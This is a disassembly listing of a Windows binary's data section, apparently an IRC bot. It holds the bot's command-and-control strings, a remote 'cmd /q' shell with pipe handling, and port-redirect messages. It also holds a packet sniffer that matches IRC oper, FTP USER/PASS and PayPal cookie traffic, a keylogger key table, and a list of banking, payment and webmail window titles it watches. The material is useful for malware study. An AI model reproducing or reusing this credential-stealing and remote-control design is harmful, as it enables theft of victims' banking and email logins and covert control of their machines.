aFailedToSta_34	db ' failed to start worker thread, error %d',0
		align 4
unk_434C44	db  2Dh	; -		; DATA XREF: sub_4100B4+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_434C78:				; DATA XREF: sub_4100B4+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_4100B4+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_41036B+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_41036B+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_41036B+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+328o
					; sub_41036B+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_41036B+2E9o
					; sub_41036B+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_41036B+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_41036B+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_41036B+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_41036B+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_435120	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410D6Eo
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410D13o
dword_435164	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410CB8o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start client thread, error: <%d>.',0
unk_4351CC	db  2Dh	; -		; DATA XREF: ___:00410E94o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_435214	db  2Dh	; -		; DATA XREF: ___:004110E6o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_36	db 'Failed to start connection thread, error: <%d>.',0
unk_435254	db  2Dh	; -		; DATA XREF: ___:0041101Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_435298	db  2Dh	; -		; DATA XREF: ___:004113A9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4352C4	db  2Dh	; -		; DATA XREF: ___:00411382o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_4352F0	db  2Dh	; -		; DATA XREF: ___:00411362o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00411332o
		align 4
unk_43532C	db  2Dh	; -		; DATA XREF: ___:004112A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_435358	db  2Dh	; -		; DATA XREF: sub_4113C5:loc_41140Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_435384	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_41141F+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_435520	db  2Dh	; -		; DATA XREF: sub_4116D6+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_435554	db  2Dh	; -		; DATA XREF: sub_4116D6+59o
					; sub_4116D6+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_43559C	db  2Dh	; -		; DATA XREF: sub_411827+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4355C4	db  2Dh	; -		; DATA XREF: sub_411827+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_435604	db  2Dh	; -		; DATA XREF: sub_411827+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_435644	db  2Dh	; -		; DATA XREF: sub_411920+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_411920+8Co
		align 4
dword_435684	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_4119F9+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h
aFailedToSta_37	db '- Failed to start client thread, error: <%d>.',0
		align 10h
		dd 234032Dh, 6B636F73h,	3023473h
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 4
		dd 4000500h, 7868746Bh,	2 dup(0)
dword_435848	dd 6F672D65h, 646Ch, 1Eh dup(0)	; DATA XREF: ___:0041260Fo
		dd 6E676953h, 6E4920h, 1Eh dup(0)
aHotmail	db 'Hotmail',0
		dd 1Eh dup(0)
aWindowsLiveMes	db 'Windows Live Messenger',0
		align 10h
		dd 1Ah dup(0)
aPaypal_1	db 'PayPal',0
		align 10h
		dd 1Eh dup(0)
aStormpay	db 'StormPay',0
		align 4
		dd 1Dh dup(0)
aStormpay_comAc	db 'StormPay.com, Accept Online Payments',0
		align 10h
		dd 16h dup(0)
aWorldpay	db 'WorldPay',0
		align 4
		dd 1Dh dup(0)
		dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
		dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0)
aTerraFotolog	db 'Terra - Fotolog',0
		dd 1Ch dup(0)
		dd 6F686159h, 216Fh, 1Eh dup(0)
		dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0)
aBienvenidoAGma	db 'Bienvenido a Gmail',0
		align 4
		dd 1Bh dup(0)
aWelcomeToGmail	db 'Welcome to Gmail',0
		align 4
		dd 1Bh dup(0)
aDomainNameRegi	db 'Domain Name Registration',0
		align 4
		dd 19h dup(0)
		dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0)
aMyAccountLogin	db 'My Account Login',0
		align 4
		dd 1Bh dup(0)
aMercadolivreBr	db 'MercadoLivre Brasil',0
		dd 1Bh dup(0)
aWellsFargoHome	db 'Wells Fargo Home Page',0
		align 10h
		dd 1Ah dup(0)
aRyan1918DontNe	db 'Ryan1918 Dont NET :: Log in',0
		dd 19h dup(0)
aEbay		db 'eBay',0
		align 10h
		dd 1Eh dup(0)
aEbayNewUsedEle	db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
		db 'ing goods & more at low prices',0
		dd 8 dup(0)
		db  49h	; I
		db 6Eh,	69h, 63h
		db  69h	; i
		db 61h,	72h, 20h
		db  73h	; s
		db 65h,	73h, 69h
		db 0F3h	; С
aNebayNewUsedEl	db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
		db 'ting goods & more at low prices',0
		align 4
		dd 4 dup(0)
dword_436448	dd 8, 62h, 62000000h, 2	dup(0) ; DATA XREF: ___:00412661o
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 41000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_436BB4	dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h
					; DATA XREF: ___:0041262Do
					; sub_41AF8F+EBo
		dd 6E727574h, 25282029h, 2973h,	252EBB2Eh, 2EAB2E73h, 65522820h
		dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h
		dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h
		dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h
		dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h
		dd 2973h, 252EBB2Eh, 2EAB2E73h,	0
		dd offset off_4374C0
		dd offset off_4374BC
		dd offset off_4374B8
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00436C54o
		align 4
off_4374B8	dd offset word_505446	; DATA XREF: ___:00436C50o
off_4374BC	dd offset aFailedToSta_36+25h ;	DATA XREF: ___:00436C4Co
off_4374C0	dd offset word_544F42	; DATA XREF: ___:00436C48o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412EEC+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412EEC+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412EEC+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412EEC+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412EEC+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412EEC+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412EEC+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412EEC+84o
a366		db '366 ',0             ; DATA XREF: sub_412EEC+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412EEC:loc_412F4Eo
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412EEC+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412EEC+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412EEC+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412EEC+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o
aOper		db 'oper ',0            ; DATA XREF: sub_413003+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_413003:loc_413043o
					; sub_413079+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_413003+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_413003+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_413079+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_413079+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_413079:loc_4130CAo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_413079+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_413079+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_413100+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_413100+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_413100+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_413100:loc_413140o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_413100+2Bo
		align 4
